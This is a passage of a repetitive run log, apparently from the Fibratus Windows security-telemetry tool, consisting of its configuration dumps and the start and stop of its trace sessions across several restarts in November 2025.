enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] http=>[ enable-gzip=>false method=>POST timeout=>5s enabled=>false serializer=>json endpoints=>[] tls-insecure-skip-verify=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] template-name=>fibratus trace-log=>false timeout=>5s gzip-compression=>false index-name=>fibratus healthcheck=>true bulk-workers=>1 healthcheck-interval=>10s enabled=>false sniff=>false flush-period=>1s healthcheck-timeout=>5s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] fastscan=>true skip-allocs=>false enabled=>false skip-mmaps=>false skip-files=>false excluded-procs=>[] scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-19T17:59:52+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-19T17:59:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-19T18:00:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-19T18:00:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-19T18:00:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-19T18:01:15+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-19T18:01:15+01:00 level=info msg=bootstrapping with pid 16232. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-19T18:01:15+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ use-template=>true enabled=>false to=>[] content-type=>text/html port=>25] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ buffer-size=>512 min-buffers=>16 enable-mem=>false stack-enrichment=>true enable-thread=>true flush-interval=>1s enable-registry=>true enable-image=>true enable-fileio=>true enable-handle=>false enable-net=>true enable-audit-api=>true enable-vamap=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-threadpool=>false enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text log-stdout=>true max-age=>0 max-backups=>15 max-size=>100 level=>info] + output ......................... [ amqp=>[ vhost=>/ durable=>false passive=>false routing-key=>fibratus tls-insecure-skip-verify=>false enabled=>false timeout=>5s exchange-type=>topic exchange=>fibratus delivery-mode=>transient url=>amqp://localhost:5672] eventlog=>[ enabled=>false level=>info] http=>[ endpoints=>[] enabled=>false enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false method=>POST serializer=>json] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] elasticsearch=>[ timeout=>5s gzip-compression=>false template-name=>fibratus healthcheck-timeout=>5s healthcheck=>true flush-period=>1s healthcheck-interval=>10s index-name=>fibratus enabled=>false servers=>[http://127.0.0.1:9200] trace-log=>false bulk-workers=>1 sniff=>false]] + pe ............................. [ read-symbols=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-procs=>[] fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false scan-timeout=>10s skip-allocs=>false excluded-files=>[] skip-mmaps=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-19T18:01:15+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-19T18:01:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-19T18:01:30+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-19T18:01:31+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-19T18:01:31+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-19T18:01:54+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-19T18:01:54+01:00 level=info msg=bootstrapping with pid 9732. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-19T18:01:55+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ enabled=>false port=>25 use-template=>true content-type=>text/html to=>[]] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-audit-api=>true flush-interval=>1s enable-mem=>false stack-enrichment=>true enable-registry=>true buffer-size=>512 enable-threadpool=>false enable-vamap=>true enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-handle=>false max-buffers=>36 enable-thread=>true enable-net=>true enable-dns=>false min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-age=>0 level=>info formatter=>text max-size=>100 log-stdout=>true] + output ......................... [ amqp=>[ exchange-type=>topic durable=>false tls-insecure-skip-verify=>false vhost=>/ delivery-mode=>transient timeout=>5s passive=>false url=>amqp://localhost:5672 routing-key=>fibratus enabled=>false exchange=>fibratus] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ trace-log=>false flush-period=>1s template-name=>fibratus sniff=>false gzip-compression=>false healthcheck=>true healthcheck-timeout=>5s index-name=>fibratus timeout=>5s bulk-workers=>1 enabled=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200]] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] http=>[ timeout=>5s endpoints=>[] enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false method=>POST serializer=>json]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false fastscan=>true enabled=>false skip-files=>false skip-mmaps=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false scan-timeout=>10s excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-19T18:01:55+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-19T18:01:57+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-19T18:02:15+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-19T18:02:15+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-19T18:02:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-19T18:02:28+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-19T18:02:28+01:00 level=info msg=bootstrapping with pid 1264. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-19T18:02:28+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ to=>[] content-type=>text/html port=>25 enabled=>false use-template=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-audit-api=>true enable-mem=>false enable-fileio=>true max-buffers=>36 enable-dns=>false enable-threadpool=>false enable-thread=>true min-buffers=>16 enable-image=>true buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true stack-enrichment=>true enable-registry=>true enable-net=>true enable-handle=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text level=>info max-backups=>15 log-stdout=>true max-age=>0 max-size=>100] + output ......................... [ amqp=>[ exchange=>fibratus exchange-type=>topic routing-key=>fibratus enabled=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 delivery-mode=>transient vhost=>/ passive=>false timeout=>5s durable=>false] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ gzip-compression=>false trace-log=>false healthcheck-interval=>10s enabled=>false template-name=>fibratus timeout=>5s bulk-workers=>1 healthcheck=>true servers=>[http://127.0.0.1:9200] index-name=>fibratus sniff=>false flush-period=>1s healthcheck-timeout=>5s] http=>[ serializer=>json enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] timeout=>5s method=>POST] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ read-symbols=>false read-resources=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] enabled=>false fastscan=>true skip-registry=>false skip-files=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-mmaps=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-19T18:02:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-19T18:02:28+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-19T18:02:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-19T18:02:30+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-19T18:02:31+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-19T18:02:47+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-19T18:02:47+01:00 level=info msg=bootstrapping with pid 4808. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-19T18:02:48+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false to=>[] port=>25 content-type=>text/html use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-threadpool=>false enable-mem=>false enable-thread=>true enable-dns=>false enable-audit-api=>true enable-registry=>true stack-enrichment=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-handle=>false enable-fileio=>true min-buffers=>16 enable-image=>true enable-vamap=>true flush-interval=>1s buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 log-stdout=>true formatter=>text level=>info max-age=>0 max-size=>100] + output ......................... [ elasticsearch=>[ sniff=>false enabled=>false gzip-compression=>false index-name=>fibratus template-name=>fibratus healthcheck-interval=>10s timeout=>5s bulk-workers=>1 healthcheck-timeout=>5s flush-period=>1s healthcheck=>true servers=>[http://127.0.0.1:9200] trace-log=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] amqp=>[ url=>amqp://localhost:5672 timeout=>5s durable=>false delivery-mode=>transient exchange=>fibratus enabled=>false tls-insecure-skip-verify=>false routing-key=>fibratus vhost=>/ exchange-type=>topic passive=>false] eventlog=>[ level=>info enabled=>false] http=>[ serializer=>json tls-insecure-skip-verify=>false enabled=>false timeout=>5s method=>POST endpoints=>[] enable-gzip=>false]] + pe ............................. [ read-sections=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false scan-timeout=>10s skip-allocs=>false skip-files=>false enabled=>false skip-registry=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-19T18:02:48+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-19T18:02:50+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-19T18:04:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-19T18:04:52+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-19T18:04:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T14:51:46+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T14:51:46+01:00 level=info msg=bootstrapping with pid 16152. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T14:51:46+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ use-template=>true to=>[] enabled=>false port=>25 content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-handle=>false enable-fileio=>true min-buffers=>16 enable-threadpool=>false enable-registry=>true enable-image=>true enable-dns=>false enable-net=>true enable-vamap=>true enable-audit-api=>true stack-enrichment=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true buffer-size=>512 enable-mem=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 log-stdout=>true level=>info max-size=>100 max-age=>0 formatter=>text] + output ......................... [ elasticsearch=>[ sniff=>false healthcheck-interval=>10s bulk-workers=>1 index-name=>fibratus healthcheck=>true enabled=>false template-name=>fibratus healthcheck-timeout=>5s trace-log=>false servers=>[http://127.0.0.1:9200] gzip-compression=>false flush-period=>1s timeout=>5s] amqp=>[ durable=>false passive=>false exchange=>fibratus enabled=>false routing-key=>fibratus timeout=>5s exchange-type=>topic vhost=>/ url=>amqp://localhost:5672 delivery-mode=>transient tls-insecure-skip-verify=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] http=>[ enable-gzip=>false enabled=>false method=>POST endpoints=>[] serializer=>json timeout=>5s tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-mmaps=>false excluded-procs=>[] scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true excluded-files=>[] skip-allocs=>false enabled=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T14:51:46+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T14:51:49+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T14:52:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T14:52:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T14:52:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T14:52:54+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T14:52:54+01:00 level=info msg=bootstrapping with pid 9152. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T14:52:54+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ use-template=>true enabled=>false to=>[] content-type=>text/html port=>25]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ min-buffers=>16 enable-thread=>true enable-vamap=>true stack-enrichment=>true enable-mem=>false enable-net=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-image=>true enable-handle=>false enable-fileio=>true enable-audit-api=>true buffer-size=>512 enable-registry=>true enable-threadpool=>false enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true level=>info max-age=>0 max-backups=>15 max-size=>100 formatter=>text] + output ......................... [ amqp=>[ delivery-mode=>transient exchange=>fibratus exchange-type=>topic routing-key=>fibratus url=>amqp://localhost:5672 enabled=>false tls-insecure-skip-verify=>false passive=>false timeout=>5s vhost=>/ durable=>false] http=>[ tls-insecure-skip-verify=>false timeout=>5s serializer=>json endpoints=>[] enable-gzip=>false enabled=>false method=>POST] elasticsearch=>[ healthcheck-interval=>10s sniff=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1 index-name=>fibratus enabled=>false trace-log=>false gzip-compression=>false template-name=>fibratus healthcheck=>true healthcheck-timeout=>5s timeout=>5s flush-period=>1s] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s excluded-files=>[] enabled=>false skip-allocs=>false skip-files=>false skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true excluded-procs=>[] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T14:52:54+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T14:52:57+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T14:53:13+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T14:53:13+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T14:53:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T14:54:11+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T14:54:11+01:00 level=info msg=bootstrapping with pid 16892. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T14:54:11+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] use-template=>true content-type=>text/html port=>25 enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false] + eventsource .................... [ min-buffers=>16 enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true max-buffers=>36 enable-vamap=>true enable-fileio=>true flush-interval=>1s enable-mem=>false enable-threadpool=>false enable-thread=>true enable-audit-api=>true buffer-size=>512 enable-image=>true enable-dns=>false enable-registry=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true formatter=>text max-age=>0 max-size=>100 max-backups=>15] + output ......................... [ elasticsearch=>[ sniff=>false servers=>[http://127.0.0.1:9200] gzip-compression=>false timeout=>5s trace-log=>false flush-period=>1s index-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s healthcheck=>true healthcheck-interval=>10s template-name=>fibratus enabled=>false] http=>[ endpoints=>[] serializer=>json timeout=>5s enable-gzip=>false method=>POST tls-insecure-skip-verify=>false enabled=>false] eventlog=>[ enabled=>false level=>info] amqp=>[ passive=>false exchange-type=>topic delivery-mode=>transient url=>amqp://localhost:5672 enabled=>false timeout=>5s tls-insecure-skip-verify=>false exchange=>fibratus routing-key=>fibratus durable=>false vhost=>/] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-registry=>false excluded-procs=>[] enabled=>false scan-timeout=>10s skip-files=>false skip-allocs=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-20T14:54:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T14:54:14+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T14:54:38+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T14:54:38+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T14:54:39+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T14:56:15+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T14:56:15+01:00 level=info msg=bootstrapping with pid 20476. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T14:56:15+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ content-type=>text/html enabled=>false to=>[] use-template=>true port=>25] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ stack-enrichment=>true enable-vamap=>true enable-mem=>false enable-handle=>false enable-image=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-audit-api=>true enable-threadpool=>false min-buffers=>16 max-buffers=>36 buffer-size=>512 enable-thread=>true flush-interval=>1s enable-fileio=>true enable-registry=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 log-stdout=>true max-age=>0 max-size=>100 level=>info formatter=>text] + output ......................... [ amqp=>[ timeout=>5s enabled=>false durable=>false url=>amqp://localhost:5672 routing-key=>fibratus exchange-type=>topic vhost=>/ exchange=>fibratus passive=>false tls-insecure-skip-verify=>false delivery-mode=>transient] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ 